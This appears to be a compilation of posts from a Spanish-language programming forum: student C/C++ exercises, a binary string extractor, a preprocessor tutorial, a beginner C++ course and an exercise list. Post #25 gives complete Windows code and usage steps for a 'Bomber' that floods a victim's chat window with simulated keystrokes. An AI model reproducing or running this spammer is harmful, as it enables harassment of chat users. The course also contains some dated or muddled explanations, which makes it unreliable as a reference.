             cout << "|" << tabla[0][1] << "|" << tabla[1][1] << "|" << tabla[2][1]<< "|" << tabla[3][0] << "|" << tabla[4][1] << "|"<< endl;
             cout << "------------------------------"<< endl;
             cout << "|" << tabla[0][2] << "|" << tabla[1][2] << "|" << tabla[2][2] << "|" << tabla[3][2] << "|" << tabla[4][2] << "|"<< endl;
             cout << "------------------------------"<< endl;
             cout << "|" << tabla[0][3] << "|" << tabla[1][3] << "|" << tabla[2][3] << "|" << tabla[3][3] << "|" << tabla[4][3] << "|"<< endl;
             cout << "------------------------------"<< endl;
             cout << "|" << tabla[0][4] << "|" << tabla[1][4] << "|" << tabla[2][4] << "|" << tabla[3][4] << "|" << tabla[4][4] << "|"<< endl;
             cout << "------------------------------"<< endl;

// Sumas de columnas o filas

            cout << "Elige que quieres sumar" << endl << endl;
            cout << "       1 - Por columnas" << endl << "       2 - Por filas" << endl;
            cin >> opcion2;
           
            switch (opcion2)
            {
                   case 1:
                   {
                   cout << "Ahora elige que columna quieres sumar" << endl;
                   cout << "Introduce el numero de la columna que deseas sumar" << endl;
                   cin >> opcion3;
                   
                       switch (opcion3)
                       {
                              case 1:
                              cout << "La suma de la primera columna es: ";
                              x = 0;
                              y = 0;
                              for(y = 0; y < 5; y++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 2:
                              cout << "La suma de la segunda columna es: ";
                              x = 1;
                              y = 0;
                              for(y = 0; y < 5; y++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 3:
                              cout << "La suma de la tercera columna es: ";
                              x = 2;
                              y = 0;
                              for(y = 0; y < 5; y++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                             
                              break;
                              case 4:
                              cout << "La suma de la cuarta columna es: ";
                              x = 3;
                              y = 0;
                              for(y = 0; y < 5; y++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 5:
                              cout << "La suma de la quinta columna es: ";
                              x = 4;
                              y = 0;
                              for(y = 0; y < 5; y++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                       }
                       break;
//--------------------------------------------------------------------------------------------------------------

                   case 2:
                       {
                       cout << "Ahora elige que fila quieres sumar" << endl;
                       cout << "Introduce el numero de la fila que deseas sumar" << endl;
                       cin >> opcion3;
                       
                       switch (opcion3)
                       {
                              case 1:
                              cout << "La suma de la primera fila es: ";
                              x = 0;
                              y = 0;
                              for(x = 0; x < 5; x++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 2:
                              cout << "La suma de la segunda fila es: ";
                              x = 0;
                              y = 1;
                              for(x = 0; x < 5; x++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                             
                              case 3:
                              cout << "La suma de la tercera fila es: ";
                              x = 0;
                              y = 2;
                              for(x = 0; x < 5; x++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 4:
                              cout << "La suma de la cuarta fila es: ";
                              x = 0;
                              y = 3;
                              for(x = 0; x < 5; x++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                             
                              case 5:
                              cout << "La suma de la quinta fila es: ";
                              x = 0;
                              y = 4;
                              for(x = 0; x < 5; x++)
                              {
                                    resultado_suma = resultado_suma + tabla[x][y];
                              }
                              cout << resultado_suma;
                              break;
                       }
                     
                       
                   }
                   break;
                   cout << endl;
   
}
}
system("PAUSE");
return 0;
}



Código: c
//Programa que almacena en un array los nombres y numeros de telefono de 10 personas. Es capaz de buscar el nombre correspondiente a un numero o viceversa
//Debe de tener un menú.
//18 - 08 - 2009
//--------------------------------------------------------------------------------------------------------------------------------------------------------

#include <iostream>
#include <cstring>
#define TAM 10

int main()
{
    using namespace std;
    int opcion;
    struct stPersona {
           char nombre[20];
           char telefono[9];
           } persona[TAM];
    char nombre1[20];
    char telefono1[9];
    char j;
    char k;
    int q;
    int x;
    int z;
    int o;
    j = 166;
    k = 167;
    opcion = 0;
    while(1){
    system("CLS");
    cout << "Este es el men\xa3 del programa" << endl << endl << endl << "Elige una opci\xe0n:" << endl << endl;
    cout << "      1 - Introducir datos de personas" << endl;
    cout << "      2 - Mostrar los datos de las personas" << endl;
    cout << "      3 - Borrar datos existentes" << endl;
    cout << "      4 - Buscar por nombre" << endl;
    cout << "      5 - Buscar por n\xa3mero de telefono" << endl;
    cout << "      6 - Salir" << endl << endl;
    cout << "      Tu elecci\xe0n es: ";
    cin >> opcion;
    switch (opcion)
          { case 1:
                {
                     
                      system("CLS");
                      cout << "Has elegido: INTRODUCIR DATOS DE PERSONAS" << endl << endl;
                      cout << "Introduce la posicion que ocupara los datos que vas a introducir, recuerda que tan solo hay 10 ranuras: ";
                      cin >> x;
                      x = x - 1;
                      q = x + 1;
                            cout << "Introduce los datos de la " << q << (char)j << " persona" << endl;
                            cout << "          Nombre: ";
                            cin >> persona[x].nombre;
                            cout << endl;
                            cout << "          N" << (char)k << " de telefono: ";
                            cin >> persona[x].telefono;
                            cout << endl;
                }
                            cout << "ACCION FINALIZADA SATISFACTORIAMENTE" << endl;
                            system("PAUSE");
                      break;
               
           
           case 2:
                {
                      system("CLS");
                      for (x = 0; x < TAM; x++)
                {
                       cout << "Nombre: "<< persona[x].nombre << endl << " N" << (char)k << " de telefono: " << persona[x].telefono << endl << endl;
                                     
                }
                system("PAUSE");
                }   
                break;           
           
           case 3:
                {
                      system("CLS");
                      x = 0;
                      cout << "Has elegido: BORRAR LOS DATOS EXISTENTES" << endl << endl;
                      for(x=0;x<TAM;x++)
                              {
                                    persona[x].nombre[0] = '\0';
                                    persona[x].telefono[0] = '\0';
                              }
                      cout << "DATOS BORRADOS SATISFACTORIAMENTE" << endl;
                      system("PAUSE");
                      break;

           case 4:
                {
                      system("CLS");
                      z = 0;
                      x = 0;
                      cout << "Has elegido: BUSCAR POR NOMBRE" << endl << endl;
                      cout << "Escribe el nombre de la persona que deseas buscar: ";
                      cin >> nombre1;
                      for (x = 0; x < TAM; x++)
                      {
                          o = strcmp(nombre1 , persona[x].nombre);
                          if (o == 0)
                             {
                                       cout << "Nombre: "<< persona[x].nombre << endl << "N" << (char)k << " de telefono: " << persona[x].telefono << endl;
                                       z++;
                             }
                          }
                if (z == 0) {cout << "Ese nombre no existe en la base de datos" << endl;}
                system("PAUSE");
                break;
           
           case 5:
                {
                      system("CLS");
                      x = 0;
                      z = 0;
                      cout << "Has elegido: BUSCAR POR TELEFONO" << endl << endl;
                      cout << "Escribe el telefono de la persona que deseas buscar: ";
                      cin >> telefono1;
                      for (x = 0; x < TAM; x++)
                      {
                           o = strcmp(telefono1 , persona[x].telefono);
                           if (o == 0)
                             {
                                       cout << "Nombre: "<< persona[x].nombre << endl << "N" << (char)k << " de telefono: " << persona[x].telefono << endl;
                                       z++;
                             }
                      } 
                     if (z == 0) {cout << "Ese nombre no existe en la base de datos" << endl;}
                      system("PAUSE");
                      break;
           case 6:
                {
                exit(0);
                }
                }
}                                     
}
}
}
}


Programas con varias funciones y punteros:

Código: c
/*Escribir un programa con una funcion que calcule la longitud de una cadena de caracteres.
El nombre de la funcion ser
LongitudCadena, debe devolver un "int", y como parametro de entrada debe tener un puntero a "char".*/
#include <iostream>
using namespace std;


int LongitudCadena(char *palabra);
int main()
{
   char* palabra = new char[20];
   int longitud;
   cout << "Introduce una palabra: ";
   cin >> palabra;
   cout << endl;
   longitud = LongitudCadena(palabra);
   if (longitud == 1) {cout << "La palabra tiene: " << longitud << " caracter" << endl;}
   else {cout << "La palabra tiene: " << longitud << " caracteres" << endl;}
   delete [ ] palabra;
   system("PAUSE");
   return 0;
}
int LongitudCadena(char *palabra)
{   
        int i;
        i = 0;
        while(palabra[i] != '\0')
        {
        i++;
        }
        return i;
}


Código: c
//Escribir un programa con una funcion que busque un caracter determinado
//en una cadena.
//El nombre de la funcion debe ser BuscaCaracter y debe devolver un int con la
//posicion en la que fue encontrado el carácter.
//Los parametros de entrada serán una cadena y un caracter.
//---------------------------------------------------------------------------------

#include <iostream>

using namespace std;
int BuscaCaracter(char* palabra);
int main()
{
    char c;
    c = 167;
    int posicion_caracter;
    char* palabra = new char[20];
    posicion_caracter = BuscaCaracter(palabra);
    posicion_caracter = posicion_caracter + 1;
    cout << "La letra fue encontrada en la posicion n" << (char) c << " " << posicion_caracter << endl;
    system("PAUSE");
    delete [ ] palabra;
    return 0;
}

int BuscaCaracter(char* palabra)
{
    char letra;
    int pos;
    cout << "Introduce una palabra: ";
    cin >> palabra;
    cout << endl;
    cout << "Introduce la letra que quieres buscar: ";
    cin >> letra;
    pos = 0;
    while (palabra[pos] != letra)
    {
    pos++;
    }
    return pos;
}


Autor: Bl4cKn0T3
#23
Códigos Fuentes / Extractor de strings de binarios
Febrero 23, 2010, 05:59:06 PM
Muestra o guarda en un archivo los strings de un binario

Código: c

// By Codr_joe
// Bajo la licencia GPLv3
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Cambiar lo que hay entre parentesis para cambiar los caracteres que se buscaran por defecto
#define default_chars "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789 \n!?\0" // El \0 hace falta para indicar el fin del string

// Cambiar para distinto numero minimo de caracteres
#define default_chnum 4

int chnum; // Numero de caracteres necesarios para considerarlo un string

void rmv_jmp(char *str);
void rmv_strs(char *str,char * tgt);
void add_strs(char *str,char * tgt);
long f_getsize(char *fname);
int exist(char *fname);
void string_find(char * selected);
int es_char(char ch,char* str);


main(int argc,char* argv[]){

chnum=default_chnum;

char selected_chars[256]; // 255 Caracteres + 1 para el \0 (vamos, digo yo que ese no
  // va a ser parte de un string, no?)
char opt;

strcpy(selected_chars,default_chars);
while (1){
printf("\n\n\t\tString Finder\n\n");
printf("Selecciona una opcion:\n");
printf("\ta) Cambiar caracteres a buscar\n");
printf("\tb) Mostrar caracteres a buscar\n");
printf("\tc) Cambiar numero caracteres a buscar (%i)\n",chnum);
printf("\td) Iniciar busqueda\n");
printf("\tx) Salir\n");
printf("->"); fflush(stdout);
opt=getchar();
getchar(); // Uno para recojer la variable y otro para sacar el [Enter] del medio
switch (opt){
case ('a'):
printf("\n\nSelecciona una opcion:\n");
printf("\ta) Añadir a la lista\n");
printf("\tb) Eliminar de la lista\n");
printf("La lista es:\n%s\n",selected_chars);
printf("->"); fflush(stdout);
opt=getchar(); getchar();
if ((opt=='a') || (opt=='b')){
char new_str[256];
printf("Introduce el/los caracteres: "); fflush(stdout);
fgets(new_str,256,stdin);
rmv_jmp(new_str);
if (opt=='a')
add_strs(new_str,selected_chars);
else
rmv_strs(new_str,selected_chars);
}
else {
printf("Opcion no valida\n");
printf("Pulsa [enter] para continuar");fflush(stdout);
getchar();
printf("\n");
}
break;
case ('b'):
printf("Caracteres:%s\n",selected_chars);
printf("Pulsa [enter] para continuar");fflush(stdout);
getchar();
printf("\n");
break;
case ('c'):
printf("Introduce el nuevo numero: ");
scanf("%i",&chnum);
getchar();
break;
case ('d'):
string_find(selected_chars);
break;
case ('x'):
exit(0);
break;
default:
printf("Opcion [%c] no valida.\n",opt);
printf("Pulsa [enter] para continuar");fflush(stdout);
getchar();
printf("\n");
}
}
}

void string_find(char * selected_chars){
char new_char;

char in_fname [256];
memset(in_fname,'\0',256);
FILE * fin;

char out_fname [256];
memset(out_fname,'\0',256);
FILE * fout;

while (1){
printf("Introduce un archivo donde buscar: ");fflush(stdout);
fgets(in_fname,256,stdin);
rmv_jmp(in_fname);
if (exist(in_fname))
break;
else
printf("El archivo no existe o no tienes permisos de lectura\n");
}

fin=fopen(in_fname,"rb");
if (fin==NULL)
exit(1);
while (1){
printf("Introduce un archivo donde guardar los resultados (o stdout para mostrar por pantalla): ");fflush(stdout);
fgets(out_fname,256,stdin);
rmv_jmp(out_fname);
if ((strcmp(out_fname,"stdout")==0) || (!exist(out_fname)))
break;
else{
printf("El archivo ya existe, los resultados se añadiran al final (S/n)\n");
new_char=getchar(); getchar();
if (new_char!='n')
break;
}
}
if (strcmp(out_fname,"stdout")==0)
fout=stdout;
else
fout=fopen(out_fname,"ab");
if (fout==NULL)
exit(1);

char chars[256];
int i=0;
int es_ch;
long str_start;
long count=0;
long e=count;
long fsize=f_getsize(in_fname);
long refresh_rate=fsize/100;

printf("\n");
while (!feof(fin)){

fscanf(fin,"%c",&new_char);
es_ch=es_char(new_char,selected_chars);

if (es_ch){
if (i==0)
str_start=ftell(fin);
chars[i]=new_char;
i++;
}

if ((!es_ch && i>=chnum) || i>=255){
chars[i]='\0';
fprintf(fout,"%li--> %s\n",str_start,chars);
i=0;
}

count++;
if (e<count-refresh_rate){
if (fout!=stdout){
printf("\r");
printf("%li / %li",count,fsize);
fflush(stdout);
}
e=count;
}

}
if (fout!=stdout){
printf("\r");
printf("%li / %li\n",fsize,fsize);
fflush(stdout);
close(fout);
}
close(fin);
}

int es_char(char ch,char* lista){
int es_char=0;
int i;
for (i=0;i<strlen(lista);i++){

if (lista[i]==ch){
es_char=1;
break;
}
}
return es_char;
}

void rmv_strs(char *str,char * tgt){
int len=strlen(tgt);
int i,j;
for (i=0;i<strlen(str);i++){
for (j=0;j<len;j++){
if (tgt[j]==str[i]){
tgt[j]=0;
break;
}
}
}
int clean=0;
while (clean==0){
clean=1;
for (i=0;i<len;i++){
if (tgt[i]=='\0'){
for (j=i+1;j<len;j++){
if (tgt[j]!='\0'){
clean=0;
tgt[j-1]=tgt[j];
tgt[j]='\0';
break;
}
}
}
}
}
}

void add_strs(char *str,char * tgt){
int len=strlen(tgt);
int i,j;
for (i=0;i<strlen(str);i++){
for (j=0;j<len;j++){
if (tgt[j]==str[i]){
break;
}
}
if ((tgt[j]!=str[i]) && (len<255)){
tgt[len]=str[i];
len++;
tgt[len]='\0';
}
}
}



void rmv_jmp(char *str){ //Limpia los saltos de linea que puede dejar el fgets
int i;
for (i=0;i<strlen(str);i++){
if (str[i]=='\n')
str[i]='\0';
else if (str[i]!='\0')
continue;
break;
}
}

long f_getsize(char *fname){ //Devuelve el tamaño de un archivo
FILE *f;
long size;
f=fopen(fname,"rb");
if (f!=NULL){
fseek(f,0,SEEK_END); // Vamos al final
size=ftell(f); // Y guardamos la posicion
close(f);
}
else
size=-1;
return size;
}

int exist(char *fname){ //Devuelve 0 si un archivo no existe (o no se puede leer)
FILE *f; // o 1 si existe
int exist;
f=fopen(fname,"rb"); // Ya se que el metodo no es muy preciso
if (f!=NULL){ // pero si no se puede leer para que seguir?
exist=1;
close(f);
}
else
exist=0;
return exist;
}

#24
¿Que son los identificadores de Procesador?

Los identificadores de procesador son constantes definidas, dependiendo de nuestra maquina. Estas constantes nos sirven para identificar fácilmente en programación el SO, la arquitectura del ordenador, o cosas tan simples como la versión de nuestro SO, el tamaño de algunos tipos de datos en nuestra maquina, entre otros.


¿Cómo puedo saber los identificadores de procesador en mi maquina?

Desde una shell tipeamos:

Código: php

cpp -dM FICHERO_VACÍO


Por ejemplo, la salida en mi maquina es:



¿Pero, y toda esa información, para que nos sirve?

Daré un ejemplo muy sencillo, pero muy útil, mas de alguno de ustedes (quienes programan) sabran que el uso de la función system no se recomienda por su portabilidad, bueno pues usando los identificadores del procesador nosotros podemos simular la portabilidad de nuestros programas, el como lo veremos mediante un código de ejemplo.


Código: c

#include <stdio.h>

#ifdef __unix__
#define LIMPIA "clear"
#endif
#ifdef __WIN32__
#define LIMPIA "cls"
#endif

int main(void)
{
printf("texto que sera limpiado\n");
system(LIMPIA);
printf("\nlimpio\n");
return 0;
}



#ifdef & #endif

Son dos de las Directivas del procesador del lenguaje C, las que nos sirven para incluir condiciones en tiempo de compilación en nuestros programas.


Es decir: en el caso de este codigo, al momento de compilar:

1º - Se realiza la inclución de la libreria stdio
2º - Se pregunta esta definido __unix__ o __WIN32__ , y dependiendo de este resultado se opta o por definir LIMPIAR como clear o cls, lo que nos resuelve el problema de la compatibilidad entre estos dos SO.

Acá unos screen's, para que vean esto en acción

En Linux






En Windows






Links Interesantes:

- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PD: Una cita de un coment que hice en mi blog:

CitarSi nos vamos a la portabilidad en si, esto no es muy útil ya que todo esto es en tiempo de compilación, osea que para que la portabilidad sea efectiva, se debería compilar cada vez que se quiera usar el código.

Pero por ej: en mi caso en la Uni a mi para las tareas solo me piden el codigo y los profes lo compilan y prueban, en esta situación a mi se me hace muy útil :) .

Hago toda esa aclaración, porque me imagino que mas de alguno va a tener ganas de criticarme el que yo usara la palabra portabilidad al tocar este tema, es mas una forma de introducir el concepto.
#25
Pues nada, un Bomber, calentito.

Uso:
-Eliges una de las opciones
-(Si te pide que introduzcas una frase la introduces)Si no te lo pide, metes el tiempo que va a estar bombardeando
-Cuando te salga Espera 3 segundos, haces click en el cuadro de conversacion de la victima.

Ventajas:
Puedes tener varias conversaciones abiertas.
Es potente
Al ser modo consola, no se cuelga, es más dificil que se cuelgue, que otros bombardeadores más antiguos.


Código: c
#include <windows.h>
#include <stdio.h>
//Author:
//P4|3L0 : The person who doesn't must be called
//Thanks xassiz for being the victim of the Bomber
//27, Sept, 2009 13:50


void BufferRand0m( char* Res, int longitud )
{
    char* caracteres = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,.-´ç`+";

    for( int b = 0; b < longitud; b++ )
        Res[ b ] = caracteres[ rand( ) % strlen( caracteres ) ];

    Res[ longitud ] = 0;
};

void funcionkey( char* cadena )
{
    int longitud = strlen( cadena );
    bool ShiftDown = false;

    for( int b = 0; b < longitud; b++ )
    {
        short tecla = VkKeyScan( cadena[ b ] );

        if( ( tecla >> 8 ) & 1 )
        {
            keybd_event( VK_LSHIFT, 0, 0, 0 );
            ShiftDown = true;
        }

        keybd_event( (unsigned char)tecla, 0, 0, 0 );

        if( ShiftDown )
        {
            keybd_event( VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0 );
            ShiftDown = false;
        }
    }
};

void funcionspam( void )
{
    char Res[ 512 ], Met[ 32 ], Lon[ 8 ], Tiempo[ 8 ];
     unsigned long EmpiezaContar;
    bool Comp32 = false;

    int b, sended = 0;

    while( true )
    {
        printf( "Para ayuda /? - For Help /?\n" );
        printf( "shell> " );

        scanf( "%s", Met );

        if( !strcmp( Met, "/?" ) )
        {
            system("Cls");
            printf( "      AYUDA  \n");
            printf( "1 - Aleatorio - Randomiz3\n" );
            printf( "2 - Tu mensaje - Your text\n" );
            printf( "3 - Emoticon0s\n" );
            printf( "4 - Ayuda - Help\n" );
            printf( "5 - Salir - Exit\n" );

            Comp32 = true;
        }

        switch( atoi( Met ) )
        {
        case 1:
            printf( "Longitud de la cadena aleatoria - Length of each random string\n" );
            printf( "shell> " );

            scanf( "%s", Lon );
            printf( "Tiempo de Spam - Time for Spam\n" );
            printf( "shell> " );
            scanf( "%s", Tiempo );
            printf( "Espera 3 segund0s - Wait 3 sec0nds\n" );
            Sleep( 3000 );

            EmpiezaContar = GetTickCount( );

            while( ( ( GetTickCount( ) - EmpiezaContar ) / 1000 ) < (unsigned)atoi( Tiempo ) )
            {
                BufferRand0m( Res, atoi( Lon ) );

                funcionkey( Res );
                keybd_event( VK_RETURN, 0, 0, 0 );

                sended++;
            }

            printf( "Mensajes mandados %d Sended messages\n", sended );

            break;
        case 2:
            printf( "Introduce tu texto (- : espacio) - Enter your text (- : Space)\n" );
            printf( "shell> " );

            scanf( "%s", Res );

           printf( "Tiempo de Spam - Time for Spam\n" );

            printf( "shell> " );

            scanf( "%s", Tiempo );

            for( b = 0; b < (signed)strlen( Res ); b++ )
            {
                if( Res[ b ] == '-' )
                    Res[ b ] = 0x20;
            }

            printf( "Espera 3 segund0s - Wait 3 sec0nds\n" );
            Sleep( 3000 );

            EmpiezaContar = GetTickCount( );

            while( ( ( GetTickCount( ) - EmpiezaContar ) / 1000 ) < (unsigned)atoi( Tiempo ) )
            {
                funcionkey( Res );
                keybd_event( VK_RETURN, 0, 0, 0 );

                sended++;
            }

            printf( "Mensajes mandados %d Sended messages\n", sended );

            break;
        case 3:
            printf( "\nEsta es la parte del floodeo de em0tic0n0s. Pon el tiempo de spam y disfruta..\n" );
            printf( "\nThis is the part of flood of em0tic0ns. Put your time spam and enjoy ..\n" );
            printf( "shell> " );

            scanf( "%s", Tiempo );

            ZeroMemory( Res, sizeof( Res ) );

            for( b = 0; b < 32; b++ )
                strcat( Res, ":'(:D:):(:S(a)(6)(co)" );

            printf( "Espera 3 segund0s - Wait 3 sec0nds\n" );
            Sleep( 3000 );

            EmpiezaContar = GetTickCount( );

            while( ( ( GetTickCount( ) - EmpiezaContar ) / 1000 ) < (unsigned)atoi( Tiempo ) )
            {
                funcionkey( Res );
                keybd_event( VK_RETURN ,0, 0, 0 );

                sended++;
            }

            printf( "Mensajes mandados %d Sended messages\n", sended );

            break;

        case 4:
        SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_RED | FOREGROUND_INTENSITY );
        printf("\n Este programa tiene un uso muy simple, solo tienes que poner una opcion de \n las 3 posibles.  Pones la opcion y decides el tiempo que se va a estar mandando\n y cuando te ponga que esperes 3 segundos te diriges a la conversacion y\n aprietas en el cuadro de conversacion\n " );
        printf("\n This program is very simple to use, just to put a choice of the 3 possible. \n You must put the choice and decide how long it's going to be sending, and when\n the programs puts you to wait 3 seconds you're going to click into \n the conversation and the conversation box \n");
        Sleep(3000);

    SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_GREEN | FOREGROUND_INTENSITY );

        break;
        case 5:
            printf( "Adi0s - By3\n" );
            Sleep( 500 );

            ExitProcess( 0 );
            break;
        default:
            if( !Comp32 )
                printf( "Pero que mierdas pones? - What the fuck, you writes?\n" );

            break;
        }

        printf( "\n\n" );
        EmpiezaContar = 0;
        sended = 0;
    }
};

int main( )
{
    SetConsoleTitle( "Cruel Spamming by The person who doesn't must be called" );

    SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_GREEN | FOREGROUND_INTENSITY );
    printf( "\tCruel Spamming by The person who doesn't must be called\n" );
    funcionspam( );

    return 0;
};


Autor: P4|3L0
#26
C / C++ / Curso C++ desde Cero
Febrero 23, 2010, 05:44:48 PM
Curso C++ desde Cero By Black Poison

bueno ire poniendo los capitulos conforme tenga tiempo ^^

y espero alguien siga mi curso u.u

si no no tiene caso estarlo escribiendo xD


____________________________________________________________________________________________________________
pues empiezo

para esto usaremos dev-C++

pueden descargarlo de la web del autor

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bueno ya que lo tengan instalado
vamos a archivo > nuevo > codigo fuente

bueno empezaremos con el codigo mas simple ^^
el Hello world! xD

Código: cpp
#include <iostream.h>
#include <stdlib.h>

int main()
{
    cout << "Hello World" << endl;
    system("PAUSE");
    return 0;
}


bueno lo primero que vemos es esto

Código: cpp
#include <iostream.h>
#include <stdlib.h>


son las librerias, las que hacen que funcionen los comandos que ponemos

se ponen asi

#include <nombre de la libreria>

lo siguiente que vemos es

Código: cpp
int main()
{


la primera linea declara la funcion main

es la funcion con la que inician todos los programas

la segunda linea es la llave que abre la funcion main todo nuestro programa va a ir dentro de las llaves de la funcion main

lo siguiente que vemos es esto

Código: cpp
cout << "Hello World" << endl;
    system("PAUSE");
    return 0;
}


esto es el codigo de nuestro programa

la primera linea "cout << "Hello World" << endl; "

cout es un comando para imprimir en pantalla luego debemos poner "<<" y entre comillas lo que queramos imprimir
en este caso es Hello world endl es para hacer un salto de linea

luego sigue system("pause");

system es para usar los comandos de consola, para los que sepan batch ya sabran los comandos que pueden usar

se debe poner en comando entre parentecis y comillas

y algo muy importante siempre se debe poner ";" al final de cada linea exepto en algunas como la funcion main ^^

luego sigue "return 0;"

que dice que si todo a salido bien regresara 0
y al final tenemos "}" es la llave que termina la funcion main
ahora para compilar el codigo se van a ejecutar > compilar y ejecutar

2 Parte

Variables

las variables son espacios en la memoria para guardar numeros letras o cualquier caracter


int         Tipo de dato ENTERO desde el -32767 hasta el 32767
long int   Tipo de dato ENTERO pero más largo desde el -2.147.483.647 hasta el 2.147.483.647.
float       Tipo de dato numerico con decimales {0.1, 2.9, etc}, desde el 3.4*e-38 hasta el 3.4*e38
double    Tipo de dato numerico con decimales pero con rangos más grandes, desde el 1.7*e-307 hasta ek 1.7*e308
char        Tipo de dato caracter {a, b, c....}
bool        Tipo de dato que solo puede tomar valor "true" o "false"
void         Tipo especial que indica la ausencia de tipo, se usa en funciones que no devuelven ningun valor

la forma en la que se declaran es la siguiente

Código: cpp
<tipo de variable> <nombre de variable>;


por ejemplo para declarar una variable de tipo int con nombre "a"

Código: cpp
int a;


y podemos asignarles valor en cualquier parte del codigo

por ejemplo
Código: cpp

a = 10;


o podemos asignarlo cuando la declaramos

Código: cpp
int a = 10;


int , float y double son para numeros

la forma para declarar char que es la variable para caracteres es diferente

Código: cpp
char <nombre>[<numero de espacios>];


ejemplo
Código: cpp

char a[10];


hay estoy declarando la variable "a" con 10 espacios, osea que puedo guardar 10 caracteres en esa variable

para declarar las variables usaremos el comando "cout"

un ejemplo seria asi

Código: cpp
int a;
a = 10;
cout << a << endl;


el codigo completo seria asi
Código: cpp
#include <iostream.h>
#include <stdlib.h>

int main()
{
    int a;
    a = 10;
    cout << a << endl;
    system("PAUSE>nul");
    return 0;
}







para capturar el valor de una variable se usa el comando cin

Código: cpp
cin >> nombre de la variable;


ejemplo

Código: cpp
int a;
cout << "ingresa un numero: ";
cin  >> a;
cout << endl << a << endl;




lo olvidaba
algo muy importante

los comentarios

se pueden poner de 2 formas

Código: cpp
/*Esto es un comentario*/
// Esto es un comentario


el primero es util cuando queremos poner un comentario en varias lineas

ya que definimos en donde empieza y en donde termina el comentario

y el segundo termina cuando acaba la linea, podemos poner comentarios en cualquier parte de nuestro codigo

3 Parte


Sentencias  y bucles

Bloques

los bloques son partes del codigo que se delimitan con "{" y con "}"

un bloque se considera como una unica sentencia

Bucle "While"


se ejecutara la sentencia indefinidamente mientras la condicion sea verdadera
Código: cpp

while(<condicion>) <sentencia>;


y solo se ejecutara si la condicion es verdadera
si la primera vez que se evalua el bucle la condicion es falsa entonces no se ejecutara la sentencia

un ejemplo seria asi

Código: cpp
int x=0;
    while(x<10) cout << "Bucle While " << x << endl;


la condicion es que la variable "x" sea menor que 10 para que siga ejecutandose la sentencia
y como nunca aumenta el valor de "x" la sentencia se ejecutara infinitamente

pero si le ponemos x++ esto haria que se fuera aumentando el valor en 1 unidad cada que se ejecute ese comando

quedaria asi:
Código: cpp
int x=0;
    while(x++<10) cout << "Bucle While " << x << endl;


entonces el bucle se ejecutaria 10 veces





bucle "do while"

esta sentencia hace lo mismo que while solo que antes de evaluar la condicion, se ejecuta la sentencia

Código: cpp
do <sentencia>; while(<dondicion>);


ejemplo

Código: cpp
int x=0;
    do
    cout << "Bucle While " << x << endl;
    while(x++<10);
    system("PAUSE");




como ven se ejecuto primero la sentencia dandonos primero una linea que dice "Bucle While 0"


Bucle "for"


este bucle es el mas complejo va de esta forma:

Código: cpp
for(<inicializacion>; <condicion>; <incremento>) <sentencia>;


en inicializacion es en donde declaramos las variables

en condicion pues la condicion xD

en incremento es en donde asignamos incremento o decremento de variables

y en sentencia la sentencia un ejemplo de su uso seria asi

Código: cpp
for(int x=0; x<10; x++) cout << "Bucle For " << x << endl;




todo es opcional si no queremos poner uno de los valores bastara con que solo pongamos ";"

bueno con esto acabo lo de bucles ^^


cualquier duda pregunten en este mismo post  ^^
#27
C / C++ / Ejercicios basico Medio[30 EJers]
Febrero 23, 2010, 05:13:04 PM
Aqui les dejo un ejercitario que tenia guardado

Postear los codes en este tema


1. Escriba un programa que imprima el mensaje "Primer programa".
2. Escriba un programa que lea y escriba un carácter.
3. Escriba un programa que te imprima un mensaje de presentación, te pregunte como te llamas y te salude.
4. Escriba el ejercicio de presentación (ejercicio número 5) y que te salude con nombre y apellidos.
5. Escriba un programa que solicite un número y lo escriba en letras.(uno al dies)
6. Escriba un programa que solicite un par de datos y calcule el producto y la diferencia.
7. Escriba un programa que solicite un número y calcule su tabal de multiplicar.
8. Escriba un programa que calcule el área de un triángulo rectángulo, dada la altura y la base.
9.  Escriba un programa que halle el menor de dos números pedidos al usuario.
10.  Escriba un programa que halle el mayor de tres números pedidos al usuario.
11. Escriba un programa que pida al usuario un carácter y un número de repeticiones. Luego imprima el carácter el número de veces especificado.
12. Escriba un programa que imprima una tabla con las cuatro primeras potencias de los números 1 a 10.
13. Escriba un programa que calcule el factorial de un número.
14. Escriba un programa que muestre una tabla de conversiones de temperatura de grados Farenheit a grados Celsius, de 0ºF a 300ºF de 20 en 20ºF.
15. Escriba un programa que dándole el importe exacto de una cantidad te indica el mínimo número de monedas que podrías tener. Las monedas son de 50, 100, y 500 guaranies / dolares / lo que sea .
16. Escriba un programa que ordene un vector (de dimensión máxima 15) por el método de la burbuja.
17. Escriba un programa que imprima una lista de amigos guardados en una agenda (tipo estructura).
18. Escriba un programa para ver las longitudes y valores máximos y mínimos en bytes de los tipos básicos de programación en C.
19. Escriba un programa que muestre la tabla ASCII.
20. Escriba un programa que imprima un mensaje rodeado por un borde, utilizando funciones para dibujar los elementos del borde.
21. Escriba un programa con una función que borre la pantalla emitiendo una serie de caracteres de salto de línea.
